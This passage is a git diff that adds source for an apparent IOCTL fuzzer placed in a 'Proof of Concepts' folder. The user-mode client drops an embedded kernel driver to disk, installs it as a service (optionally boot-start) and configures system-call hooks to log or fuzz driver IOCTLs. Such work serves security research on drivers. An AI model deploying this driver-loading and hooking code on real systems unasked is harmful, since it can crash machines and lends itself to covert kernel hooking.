ccol(WORD wColor); diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/default.manifest b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/default.manifest new file mode 100644 index 00000000..7cdae3bf --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/default.manifest @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/drvcomm.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/drvcomm.h new file mode 100644 index 00000000..8bbcaa9e --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/drvcomm.h @@ -0,0 +1,117 @@ +#define DEVICE_NAME L"IOCTLfuzzer" +#define DBG_PIPE_NAME L"IOCTLfuzzer" +#define DBG_PIPE_NAME_A "IOCTLfuzzer" + +#define IOCTL_DRV_CONTROL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x01, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) + +#define S_ERROR 0x00 +#define S_SUCCESS 0x01 + +#define C_ADD_DEVICE 0x01 +#define C_ADD_DRIVER 0x02 +#define C_ADD_IOCTL 0x03 +#define C_ADD_PROCESS 0x04 +#define C_SET_OPTIONS 0x05 +#define C_GET_DEVICE_INFO 0x06 +#define C_CHECK_HOOKS 0x07 +#define C_DEL_OPTIONS 0x08 +#define C_GET_OBJECT_NAME 0x09 + +// fuzzing options +#define FUZZ_OPT_LOG_IOCTL 0x00000001 +#define FUZZ_OPT_LOG_IOCTL_BUFFERS 0x00000002 +#define FUZZ_OPT_LOG_IOCTL_GLOBAL 0x00000004 +#define FUZZ_OPT_LOG_EXCEPTIONS 0x00000008 +#define FUZZ_OPT_LOG_DEBUG 0x00000010 +#define FUZZ_OPT_FUZZ 0x00000020 +#define FUZZ_OPT_FUZZ_SIZE 0x00000040 +#define FUZZ_OPT_FUZZ_FAIR 0x00000080 +#define FUZZ_OPT_FUZZ_BOOT 0x00000100 +#define FUZZ_OPT_NO_SDT_HOOKS 0x00000200 + +typedef ULONG FUZZING_TYPE; + +#define FuzzingType_Random 0x00000001 +#define FuzzingType_Dword 0x00000002 + +// area to store some variables, that must located in user mode +#pragma pack(push, 1) +typedef struct _USER_MODE_DATA +{ + IO_STATUS_BLOCK IoStatus; + +} USER_MODE_DATA, +*PUSER_MODE_DATA; +#pragma pack(pop) + +#define MAX_REQUEST_STRING 0x100 + +#pragma pack(push, 1) +typedef struct _REQUEST_BUFFER +{ + // operation status (see S_* definitions) + ULONG Status; + + // operation code (see C_* definitions) + ULONG Code; + + union + { + struct + { + ULONG Options; + ULONG FuzzThreadId; + FUZZING_TYPE FuzzingType; + PUSER_MODE_DATA UserModeData; + ULONG KiDispatchException_Offset; + + } Options; + + struct + { + PVOID DeviceObjectAddr; + PVOID DriverObjectAddr; + char szDriverObjectName[MAX_REQUEST_STRING]; + char szDriverFilePath[MAX_REQUEST_STRING]; + + } DeviceInfo; + + struct + { + // for C_ADD_IOCTL + ULONG IoctlCode; + + // for all C_ADD_* + BOOLEAN bAllow; + + // for C_ADD_DEVICE, C_ADD_DRIVER and C_ADD_PROCESS + char szObjectName[MAX_REQUEST_STRING]; + + /* + If TRUE -- debugger command, that stored in Buff[], + must be executed for every IOCTL, that has been matched + by this object. + */ + BOOLEAN bDbgcbAction; + + } AddObject; + + struct + { + HANDLE hObject; + char szObjectName[MAX_REQUEST_STRING]; + + } ObjectName; + + struct + { + BOOLEAN bHooksInstalled; + + } CheckHooks; + }; + + char Buff[1]; + +} REQUEST_BUFFER, +*PREQUEST_BUFFER; +#pragma pack(pop) diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.cpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.cpp new file mode 100644 index 00000000..3070e04c --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.cpp @@ -0,0 +1,940 @@ +#include "stdafx.h" + +//unresolved external symbol __imp__StrToIntExA@12 +#pragma comment(lib, "Shlwapi.lib") +//unresolved external symbol _VerQueryValueA@16 +#pragma comment(lib, "version.lib") +//unresolved external symbol __imp__InitCommonControls@0 +#pragma comment(lib, "comctl32.lib") + +#ifdef _AMD64_ +#pragma comment(lib,"dbgsdk\\lib\\amd64\\dbghelp.lib") +#pragma comment(lib, "lib\\amd64\\comsupp.lib") +#else +#pragma comment(lib,"dbgsdk\\lib\\i386\\dbghelp.lib") +#pragma comment(lib, "lib\\comsupp.lib") +#endif + +// + +#define RESOURCE_NAME_DRIVER32 "DRIVER32" +#define RESOURCE_NAME_DRIVER64 "DRIVER64" + +#define GLOBAL_MUTEX_NAME "Global\\" DRIVER_SERVICE_NAME "_Mutex" + +USER_MODE_DATA m_UserModeData; +DWORD m_dwFuzzThreadId = 0; +HANDLE hDevice = NULL; + +// fuzzing type and other actual options +FUZZING_TYPE m_FuzzingType = DEFAULT_FUZZING_TYPE; +DWORD m_dwOptions = 0; + +// don't install any hooks (usefull for attack surface analysis feature) +BOOL m_bNoHooks = FALSE; + +// TRUE if remote kernel debugger is not present +BOOL m_bDebuggerNotPresent = FALSE; + +// defined in debug.cpp +extern HANDLE hDbgLogfile; + +BOOL m_bBoot = FALSE; +/** +* kernel32!Get[Set]ConsoleScreenBufferInfoEx() functions prsent +* only on NT 6.x +*/ +typedef BOOL (WINAPI * GET_SET_CONSOLE_SCREEN_BUFFER_INFO_EX)( + HANDLE hConsoleOutput, + PCONSOLE_SCREEN_BUFFER_INFOEX lpConsoleScreenBufferInfoEx +); +//-------------------------------------------------------------------------------------- +BOOL GetOption(IXMLDOMNode *pIDOMNode, PWSTR lpwcName, PBOOL pbVal) +{ + BOOL bRet = FALSE; + char *lpszVal = NULL; + + if (ConfAllocGetTextByNameA(pIDOMNode, lpwcName, &lpszVal)) + { + bRet = TRUE; + + if (!strcmp(strlwr(lpszVal), "true")) + { + *pbVal = TRUE; + } + else if (!strcmp(strlwr(lpszVal), "false")) + { + *pbVal = FALSE; + } + else + { + DbgMsg(__FILE__, __LINE__, "WARNING: invalid value for option '%ws'\r\n", lpwcName); + bRet = FALSE; + } + + M_FREE(lpszVal); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +void ParseAllowDenySection(IXMLDOMNode *pIDOMNode, BOOL bAllow, BOOL bDbgcbAction) +{ + struct + { + LPCWSTR lpNodeName; + LPCWSTR lpObjectName; + ULONG Code; + + } Objects[] = { + + { L"drivers", L"driver", C_ADD_DRIVER }, + { L"devices", L"device", C_ADD_DEVICE }, + { L"ioctls", L"ioctl", C_ADD_IOCTL }, + { L"processes", L"process", C_ADD_PROCESS }, + { NULL, NULL, 0 } + }; + + /* + Old-style allow/deny lists parsing: + -------------------------------------- + + + SomeName_1 + SomeName_2 + ... + SomeName_N + + */ + for (int ob = 0; Objects[ob].lpNodeName != NULL; ob++) + { + // get objects list node + IXMLDOMNode *pIDOMObjectsNode = ConfGetNodeByName((BSTR)Objects[ob].lpNodeName, pIDOMNode); + if (pIDOMObjectsNode) + { + IXMLDOMNodeList *pIDOMNodeList = NULL; + + // enumerate available object names + HRESULT hr = pIDOMObjectsNode->get_childNodes(&pIDOMNodeList); + if (SUCCEEDED(hr)) + { + LONG len = 0; + pIDOMNodeList->get_length(&len); + + DbgMsg(__FILE__, __LINE__, "\"%ws\":\r\n", Objects[ob].lpNodeName); + + for (int i = 0; i < len; i++) + { + IXMLDOMNode *pIDOMChildNode = NULL; + + // get single object name + hr = pIDOMNodeList->get_item(i, &pIDOMChildNode); + if (SUCCEEDED(hr)) + { + char *lpszObjectName = NULL; + if (ConfGetNodeTextA(pIDOMChildNode, &lpszObjectName)) + { + REQUEST_BUFFER Buff; + ZeroMemory(&Buff, sizeof(Buff)); + Buff.Code = Objects[ob].Code; + Buff.AddObject.bAllow = bAllow; + + if (Objects[ob].Code == C_ADD_IOCTL) + { + DWORD dwIoctlCode = 0; + + // parse hexadecimal IOCTL code value + if (StrToIntEx(lpszObjectName, STIF_SUPPORT_HEX, (int *)&dwIoctlCode)) + { + DbgMsg(__FILE__, __LINE__, " - 0x%.8x\r\n", dwIoctlCode); + + Buff.AddObject.IoctlCode = dwIoctlCode; + DrvDeviceRequest(&Buff, sizeof(Buff)); + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): StrToIntEx() ERROR %d\n", GetLastError()); + } + } + else + { + DbgMsg(__FILE__, __LINE__, " - \"%s\"\r\n", lpszObjectName); + + // object name is a string value (process/driver/device name) + lstrcpy(Buff.AddObject.szObjectName, lpszObjectName); + DrvDeviceRequest(&Buff, sizeof(Buff)); + } + + M_FREE(lpszObjectName); + } + + pIDOMChildNode->Release(); + } + } + + pIDOMNodeList->Release(); + } + + pIDOMObjectsNode->Release(); + } + } + + /* + New allow/deny lists parsing: + -------------------------------------- + + + + ... + + */ + + // enumerate available objects + IXMLDOMNodeList *pIDOMNodeList = NULL; + HRESULT hr = pIDOMNode->get_childNodes(&pIDOMNodeList); + if (SUCCEEDED(hr)) + { + LONG len = 0; + pIDOMNodeList->get_length(&len); + + for (int i = 0; i < len; i++) + { + IXMLDOMNode *pIDOMChildNode = NULL; + + // get single object node + hr = pIDOMNodeList->get_item(i, &pIDOMChildNode); + if (SUCCEEDED(hr)) + { + // get node name (object type) + BSTR ChildNodeName = NULL; + hr = pIDOMChildNode->get_nodeName(&ChildNodeName); + if (SUCCEEDED(hr)) + { + // lookup object type by name + for (int ob = 0; Objects[ob].lpObjectName != NULL; ob++) + { + if (!wcscmp(Objects[ob].lpObjectName, ChildNodeName)) + { + DWORD dwOptionalBuffLen = 0; + char *lpszObjectName = NULL, *lpszOptionalBuff = NULL; + + /* + Query node value: for dbgcb objects list it contains + debugger command, that must be executet for each IOCTL, + matched by this object. + */ + if (bDbgcbAction && + ConfGetNodeTextA(pIDOMChildNode, &lpszOptionalBuff) && + lpszOptionalBuff) + { + dwOptionalBuffLen = (DWORD)strlen(lpszOptionalBuff) + 1; + } + + if (ConfGetNodeAttributeA(pIDOMChildNode, L"val", &lpszObjectName)) + { + DWORD dwBuffSize = sizeof(REQUEST_BUFFER) + dwOptionalBuffLen; + PREQUEST_BUFFER Buff = (PREQUEST_BUFFER)M_ALLOC(dwBuffSize); + if (Buff) + { + ZeroMemory(Buff, dwBuffSize); + Buff->Code = Objects[ob].Code; + Buff->AddObject.bAllow = bAllow; + Buff->AddObject.bDbgcbAction = bDbgcbAction; + + if (lpszOptionalBuff) + { + lstrcpy(Buff->Buff, lpszOptionalBuff); + } + + if (Objects[ob].Code == C_ADD_IOCTL) + { + DWORD dwIoctlCode = 0; + + // parse hexadecimal IOCTL code value + if (StrToIntEx(lpszObjectName, STIF_SUPPORT_HEX, (int *)&dwIoctlCode)) + { + if (bDbgcbAction) + { + DbgMsg( + __FILE__, __LINE__, "Object=\"%ws\" Value=0x%.8x KdCommand=\"%s\"\r\n", + Objects[ob].lpObjectName, dwIoctlCode, + lpszOptionalBuff ? lpszOptionalBuff : "" + ); + } + else + { + DbgMsg( + __FILE__, __LINE__, "Object=\"%ws\" Value=0x%.8x\r\n", + Objects[ob].lpObjectName, dwIoctlCode + ); + } + + Buff->AddObject.IoctlCode = dwIoctlCode; + DrvDeviceRequest(Buff, dwBuffSize); + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): StrToIntEx() ERROR %d\n", GetLastError()); + } + } + else + { + if (bDbgcbAction) + { + DbgMsg( + __FILE__, __LINE__, "Object=\"%ws\" Value=\"%s\" KdCommand=\"%s\"\r\n", + Objects[ob].lpObjectName, lpszObjectName, + lpszOptionalBuff ? lpszOptionalBuff : "" + ); + } + else + { + DbgMsg( + __FILE__, __LINE__, "Object=\"%ws\" Value=\"%s\"\r\n", + Objects[ob].lpObjectName, lpszObjectName + ); + } + + // object name is a string value (process/driver/device name) + lstrcpy(Buff->AddObject.szObjectName, lpszObjectName); + DrvDeviceRequest(Buff, dwBuffSize); + } + + M_FREE(Buff); + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\r\n", GetLastError()); + } + + M_FREE(lpszObjectName); + } + + if (lpszOptionalBuff) + { + M_FREE(lpszOptionalBuff); + } + + break; + } + } + } + + if (ChildNodeName) + { + SysFreeString(ChildNodeName); + } + + pIDOMChildNode->Release(); + } + } + + pIDOMNodeList->Release(); + } +} +//-------------------------------------------------------------------------------------- +BOOL SetOptions(DWORD dwOptions, FUZZING_TYPE FuzzingType) +{ + REQUEST_BUFFER Buff; + ZeroMemory(&Buff, sizeof(Buff)); + + Buff.Code = C_SET_OPTIONS; + Buff.Options.Options = dwOptions; + Buff.Options.FuzzingType = FuzzingType; + Buff.Options.UserModeData = &m_UserModeData; + Buff.Options.FuzzThreadId = m_dwFuzzThreadId; + + m_dwOptions = dwOptions; + m_FuzzingType = FuzzingType; + + // send options to the driver + return DrvDeviceRequest(&Buff, sizeof(REQUEST_BUFFER)); +} +//-------------------------------------------------------------------------------------- +BOOL SetDefaultOptions(void) +{ + DWORD dwOptions = FUZZ_OPT_LOG_DEBUG; + + dwOptions |= FUZZ_OPT_LOG_IOCTL; + dwOptions |= FUZZ_OPT_LOG_IOCTL_GLOBAL; + + if (m_bNoHooks) + { + dwOptions |= FUZZ_OPT_NO_SDT_HOOKS; + } + + // send options to the driver + return SetOptions(dwOptions, DEFAULT_FUZZING_TYPE); +} +//-------------------------------------------------------------------------------------- +BOOL ParseConfig(char *lpszCfgFileName) +{ + PVOID Data = NULL; + DWORD dwDataSize = 0; + BOOL bRet = FALSE; + + // read config file + if (ReadFromFile(lpszCfgFileName, &Data, &dwDataSize)) + { + PWSTR lpwcData = (PWSTR)M_ALLOC((dwDataSize + 1) * sizeof(WCHAR)); + if (lpwcData) + { + MultiByteToWideChar(CP_ACP, 0, (char *)Data, dwDataSize, lpwcData, dwDataSize); + + IXMLDOMNode *pIDOMRootNode = NULL; + IXMLDOMDocument *pXMLDoc = NULL; + + // load xml document + if (XmlLoad(lpwcData, &pXMLDoc, &pIDOMRootNode, L"cfg")) + { + // create logfile, if option is set + char *lpszLogFilePath = NULL; + if (ConfAllocGetTextByNameA(pIDOMRootNode, L"log_file", &lpszLogFilePath)) + { + HANDLE hNewLogfile = CreateFile( + lpszLogFilePath, + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + if (hNewLogfile != INVALID_HANDLE_VALUE) + { + SetFilePointer(hNewLogfile, 0, NULL, FILE_END); + + if (hDbgLogfile != INVALID_HANDLE_VALUE) + { + // close old debug log + CloseHandle(hDbgLogfile); + hDbgLogfile = hNewLogfile; + } + } + else + { + DbgMsg(__FILE__, __LINE__, "CreateFile() ERROR %d\r\n", GetLastError()); + DbgMsg(__FILE__, __LINE__, "Error while creating/opening logfile at '%s'.\r\n", lpszLogFilePath); + } + + M_FREE(lpszLogFilePath); + } + + // parse allowed objects list + IXMLDOMNode *pIDOMAllowNode = ConfGetNodeByName(L"allow", pIDOMRootNode); + if (pIDOMAllowNode) + { + ParseAllowDenySection(pIDOMAllowNode, TRUE, FALSE); + pIDOMAllowNode->Release(); + } + + // parse denied objects list + IXMLDOMNode *pIDOMDenyNode = ConfGetNodeByName(L"deny", pIDOMRootNode); + if (pIDOMDenyNode) + { + ParseAllowDenySection(pIDOMDenyNode, FALSE, FALSE); + pIDOMDenyNode->Release(); + } + + if (!m_bDebuggerNotPresent) + { + // parse debugger communication engine options + IXMLDOMNode *pIDOMDbgcbNode = ConfGetNodeByName(L"dbgcb", pIDOMRootNode); + if (pIDOMDbgcbNode) + { + ParseAllowDenySection(pIDOMDbgcbNode, FALSE, TRUE); + pIDOMDbgcbNode->Release(); + } + } + + // parse options + BOOL bLogRequests = TRUE, bDebugLogRequests = TRUE; + BOOL bHexDump = FALSE; + DWORD dwOptions = FUZZ_OPT_LOG_IOCTL_GLOBAL; + FUZZING_TYPE FuzzingType = DEFAULT_FUZZING_TYPE; + + GetOption(pIDOMRootNode, L"hex_dump", &bHexDump); + GetOption(pIDOMRootNode, L"log_requests", &bLogRequests); + GetOption(pIDOMRootNode, L"debug_log_requests", &bDebugLogRequests); + GetOption(pIDOMRootNode, L"boot_log", &m_bBoot); + + DbgMsg(__FILE__, __LINE__, "PROGRAM OPTIONS:\r\n"); + + #define STROPT(_x_) ((_x_) ? "Yes" : "No") + + DbgMsg(__FILE__, __LINE__, " 'hex_dump': %s\r\n", STROPT(bHexDump)); + DbgMsg(__FILE__, __LINE__, " 'log_requests': %s\r\n", STROPT(bLogRequests)); + DbgMsg(__FILE__, __LINE__, " 'debug_log_requests': %s\r\n", STROPT(bDebugLogRequests)); + DbgMsg(__FILE__, __LINE__, " 'bBoot': %s\r\n", STROPT(m_bBoot)); + + if (bHexDump) + { + dwOptions |= FUZZ_OPT_LOG_IOCTL_BUFFERS; + } + + if (bLogRequests) + { + dwOptions |= FUZZ_OPT_LOG_IOCTL; + } + + if (bDebugLogRequests) + { + dwOptions |= FUZZ_OPT_LOG_DEBUG; + } + + if (m_bBoot) + { + dwOptions |= FUZZ_OPT_FUZZ_BOOT; + } + + // send options to the driver + bRet = SetOptions(dwOptions, FuzzingType); + + pIDOMRootNode->Release(); + pXMLDoc->Release(); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\r\n", GetLastError()); + } + + M_FREE(Data); + } + + if (!bRet) + { + SetDefaultOptions(); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +DWORD WINAPI ApcThread(LPVOID lpParam) +{ + while (true) + { + SleepEx(INFINITE, TRUE); + } + + return 0; +} +//-------------------------------------------------------------------------------------- +BOOL WINAPI CtrlHandler(DWORD fdwCtrlType) +{ + if (fdwCtrlType == CTRL_C_EVENT || + fdwCtrlType == CTRL_CLOSE_EVENT) + { + // Handle the CTRL-C signal. + DbgMsg(__FILE__, __LINE__, "Stopping application, please wait...\r\n"); + + ExitProcess(0); + + return TRUE; + } + + return FALSE; +} +//-------------------------------------------------------------------------------------- +BOOL GetResPayload(HMODULE hModule, char *lpszResourceName, PVOID *Data, DWORD *dwDataSize) +{ + HRSRC hRc = FindResource(hModule, lpszResourceName, "BINRES"); + if (hRc) + { + HGLOBAL hResData = LoadResource(hModule, hRc); + if (hResData) + { + PVOID ResData = LockResource(hResData); + if (ResData) + { + *dwDataSize = SizeofResource(hModule, hRc); + if (*Data = M_ALLOC(*dwDataSize)) + { + memcpy(*Data, ResData, *dwDataSize); + return TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\r\n", GetLastError()); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "LockResource() fails\r\n"); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "LoadResource() fails\r\n"); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "FindResource() fails\r\n"); + } + + return FALSE; +} +//-------------------------------------------------------------------------------------- +#define CHECK_SET(_item_) SendMessage(GetDlgItem(hDlg, (_item_)), BM_SETCHECK, BST_CHECKED, 0) +#define CHECK_UNSET(_item_) SendMessage(GetDlgItem(hDlg, (_item_)), BM_SETCHECK, BST_UNCHECKED, 0) +#define CHECK_GET(_item_) (SendMessage(GetDlgItem(hDlg, (_item_)), BM_GETCHECK, BST_CHECKED, 0) == BST_CHECKED) + +LRESULT CALLBACK MainDlg(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) +{ + DWORD dwOptions = FUZZ_OPT_LOG_IOCTL_GLOBAL; + FUZZING_TYPE FuzzingType = DEFAULT_FUZZING_TYPE; + + switch (message) + { + + case WM_INITDIALOG: + { + /** + * Initialize chekboxes for fuzzing options. + */ + if (m_dwOptions & FUZZ_OPT_LOG_IOCTL) + { + CHECK_SET(IDC_LOG_CONSOLE); + } + + if (m_dwOptions & FUZZ_OPT_LOG_DEBUG) + { + CHECK_SET(IDC_LOG_DEBUGGER); + } + + if (m_dwOptions & FUZZ_OPT_LOG_IOCTL_BUFFERS) + { + CHECK_SET(IDC_LOG_BUFFERS); + } + break; + } + + case WM_COMMAND: + { + switch (wParam) + { + case IDC_HIDE: + + ShowWindow(hDlg, SW_HIDE); + break; + + case IDC_TERMINATE: + + DestroyWindow(hDlg); + break; + + case IDC_LOG_CONSOLE: + case IDC_LOG_DEBUGGER: + case IDC_LOG_BUFFERS: + /** + * Get controls state. + */ + + if (CHECK_GET(IDC_LOG_CONSOLE)) + { + dwOptions |= FUZZ_OPT_LOG_IOCTL; + } + + if (CHECK_GET(IDC_LOG_DEBUGGER)) + { + dwOptions |= FUZZ_OPT_LOG_DEBUG; + } + + if (CHECK_GET(IDC_LOG_BUFFERS)) + { + dwOptions |= FUZZ_OPT_LOG_IOCTL_BUFFERS; + } + + // update fuzzing type and settings + SetOptions(dwOptions, FuzzingType); + + break; + } + + break; + } + + case WM_CLOSE: + { + DestroyWindow(hDlg); + break; + } + } + + return FALSE; +} +//-------------------------------------------------------------------------------------- +int _tmain(int argc, _TCHAR* argv[]) +{ + char szDriverFileName[MAX_PATH] = {0}; + char szServiceFileName[MAX_PATH] = {0}; + + BOOL bUninstall = FALSE, bShowExceptions = FALSE, bPrintDevices = FALSE; + + InitCommonControls(); + + GetSystemDirectory(szDriverFileName, sizeof(szDriverFileName)); + lstrcat(szDriverFileName, "\\drivers\\" DRIVER_FILE_NAME); + lstrcpy(szServiceFileName, "system32\\drivers\\" DRIVER_FILE_NAME); + + HANDLE hGlobalMutex = CreateMutex(NULL, FALSE, GLOBAL_MUTEX_NAME); + + char lpszConfigPath[MAX_PATH] = {0}; + GetCurrentDirectory(sizeof(lpszConfigPath), lpszConfigPath); + lstrcat(lpszConfigPath, "\\ioctlfuzzer.xml"); + + // check for allready running application + if (GetLastError() == ERROR_ALREADY_EXISTS) + { + MessageBox( + 0, + "One copy of program is allready running.\n", + "ERROR", + MB_ICONERROR + ); + + ExitProcess(0); + } + +#if defined(_X86_) + + BOOL bIs64 = FALSE; + + typedef BOOL (WINAPI * func_IsWow64Process)( + HANDLE hProcess, + PBOOL Wow64Process + ); + + func_IsWow64Process f_IsWow64Process = (func_IsWow64Process)GetProcAddress( + GetModuleHandleA("kernel32.dll"), + "IsWow64Process" + ); + if (f_IsWow64Process) + { + // check for WoW64 environment + if (f_IsWow64Process(GetCurrentProcess(), &bIs64) && bIs64) + { + MessageBoxA( + 0, + "You should use x64 version of program on Windows x64.\n" + " to exit.", + "ERROR", MB_ICONWARNING + ); + + ExitProcess(0); + } + } + +#endif // _X86_ + + DbgInit(DBG_PIPE_NAME_A, IOCTLFUZZER_LOG_FILE); + + PSYSTEM_KERNEL_DEBUGGER_INFORMATION DebuggerInfo = (PSYSTEM_KERNEL_DEBUGGER_INFORMATION) + GetSysInf(SystemKernelDebuggerInformation); + if (DebuggerInfo) + { + // check for remote kernel debugger + if (!DebuggerInfo->DebuggerEnabled || + DebuggerInfo->DebuggerNotPresent) + { + if (MessageBox( + 0, + "Warning!\r\n" + "Kernel debugger is not present, IOCTL Fuzzer may cause a BSoD.\r\n" + "Continue execution?", + "Warning", MB_YESNO | MB_ICONWARNING | MB_TOPMOST) == IDNO) + { + ExitProcess(0); + } + } + + M_FREE(DebuggerInfo); + } + + GET_SET_CONSOLE_SCREEN_BUFFER_INFO_EX f_GetConsoleScreenBufferInfoEx = + (GET_SET_CONSOLE_SCREEN_BUFFER_INFO_EX)GetProcAddress( + GetModuleHandle("kernel32.dll"), + "GetConsoleScreenBufferInfoEx" + ); + + GET_SET_CONSOLE_SCREEN_BUFFER_INFO_EX f_SetConsoleScreenBufferInfoEx = + (GET_SET_CONSOLE_SCREEN_BUFFER_INFO_EX)GetProcAddress( + GetModuleHandle("kernel32.dll"), + "SetConsoleScreenBufferInfoEx" + ); + + if (f_GetConsoleScreenBufferInfoEx && + f_SetConsoleScreenBufferInfoEx) + { + HANDLE hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE); + CONSOLE_SCREEN_BUFFER_INFOEX ConsoleInfo; + ConsoleInfo.cbSize = sizeof(ConsoleInfo); + + if (f_GetConsoleScreenBufferInfoEx(hConsoleOutput, &ConsoleInfo)) + { + DbgMsg( + __FILE__, __LINE__, "[+] Changing console screen buffer height from %d to %d lines\n", + ConsoleInfo.dwSize.Y, CONSOLE_BUFFER_HEIGHT + ); + + ConsoleInfo.dwSize.Y = CONSOLE_BUFFER_HEIGHT; + + // we don't need horizontal scroll bar + ConsoleInfo.dwSize.X -= 1; + + if (!f_SetConsoleScreenBufferInfoEx(hConsoleOutput, &ConsoleInfo)) + { + DbgMsg(__FILE__, __LINE__, "SetConsoleScreenBufferInfoEx() ERROR %d\n", GetLastError()); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "GetConsoleScreenBufferInfoEx() ERROR %d\n", GetLastError()); + } + } + + if (!LoadPrivileges(SE_LOAD_DRIVER_NAME)) + { + DbgMsg(__FILE__, __LINE__, "Error while loading 'SeLoadDriverPrivilege'\r\n"); + goto end; + } + + + PVOID DriverData = NULL; + DWORD dwDriverDataSize = 0; + + // extract kernel driver from resources +#if defined(_X86_) + if (GetResPayload(GetModuleHandle(NULL), RESOURCE_NAME_DRIVER32, &DriverData, &dwDriverDataSize)) +#else + if (GetResPayload(GetModuleHandle(NULL), RESOURCE_NAME_DRIVER64, &DriverData, &dwDriverDataSize)) +#endif + { + // ... and dump it to the disk + if (!DumpToFile(szDriverFileName, DriverData, dwDriverDataSize)) + { + DbgMsg(__FILE__, __LINE__, "Error while creating kernel driver file.\r\n"); + goto end; + } + + M_FREE(DriverData); + } + else + { + DbgMsg(__FILE__, __LINE__, "Error while extracting kernel driver from resources.\r\n"); + goto end; + } + + if (!DrvServiceStart(DRIVER_SERVICE_NAME, szDriverFileName, NULL)) + { + DbgMsg(__FILE__, __LINE__, "Error while creating/starting system service for kernel driver.\r\n"); + goto end; + } + + if (m_bBoot) + { + if (!DrvServiceSetStartType(DRIVER_SERVICE_NAME, SERVICE_BOOT_START)) + { + DbgMsg(__FILE__, __LINE__, "Error while changing service startup type.\r\n"); + goto end; + } + + DbgMsg(__FILE__, __LINE__, "Service startup type has been set to the SERVICE_BOOT_START.\r\n"); + } + else + { + if (!DrvServiceSetStartType(DRIVER_SERVICE_NAME, SERVICE_DEMAND_START)) + { + DbgMsg(__FILE__, __LINE__, "Error while changing service startup type.\r\n"); + goto end; + } + } + + // create thread for kernel mode APC's + HANDLE hThread = CreateThread(NULL, 0, ApcThread, NULL, 0, &m_dwFuzzThreadId); + if (hThread) + { + DbgMsg(__FILE__, __LINE__, "Thread for kernel mode APC's created (ID: %x)\r\n", m_dwFuzzThreadId); + CloseHandle(hThread); + } + else + { + DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\r\n", GetLastError()); + } + + if (DrvOpenDevice(DEVICE_NAME, &hDevice)) + { + /** + * Fuzzing or monitoring mode + */ + REQUEST_BUFFER Buff; + ZeroMemory(&Buff, sizeof(Buff)); + Buff.Code = C_DEL_OPTIONS; + + // delete previously saved fuzing/minitoring options + DrvDeviceRequest(&Buff, sizeof(REQUEST_BUFFER)); + + if (lpszConfigPath) + { + ParseConfig(lpszConfigPath); + } + else + { + SetDefaultOptions(); + } + + SetConsoleCtrlHandler(CtrlHandler, TRUE); + + DialogBox(GetModuleHandle(NULL), MAKEINTRESOURCE(IDD_DIALOG), NULL, (DLGPROC)MainDlg); + + BOOL bStopService = TRUE; + ZeroMemory(&Buff, sizeof(Buff)); + Buff.Code = C_CHECK_HOOKS; + + // check for installed hooks + if (DrvDeviceRequest(&Buff, sizeof(REQUEST_BUFFER)) && + Buff.CheckHooks.bHooksInstalled) + { + bStopService = FALSE; + + if (MessageBox( + 0, + "Warning!\r\n" + "Unloading of a kernel driver may be unsafe.\r\n" + "Press to unload it, or for just a program termination.", + "Exit from program", MB_YESNO | MB_ICONWARNING | MB_TOPMOST) == IDYES) + { + bStopService = TRUE; + } + } + + CloseHandle(hDevice); + + if (bStopService) + { + DrvServiceStop(DRIVER_SERVICE_NAME); + } + + if (bPrintDevices) + { + goto end; + } + + ExitProcess(0); + } + else + { + DbgMsg(__FILE__, __LINE__, "Error while opening kernel driver communication device\r\n"); + } + + DrvServiceStop(DRIVER_SERVICE_NAME); + +end: + printf("Press any key to quit...\r\n"); + getch(); + + return 0; +} +//-------------------------------------------------------------------------------------- +// EoF diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.log b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.log new file mode 100644 index 00000000..c363e2c3 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.log @@ -0,0 +1,3 @@ +[17792] DbgInit(): 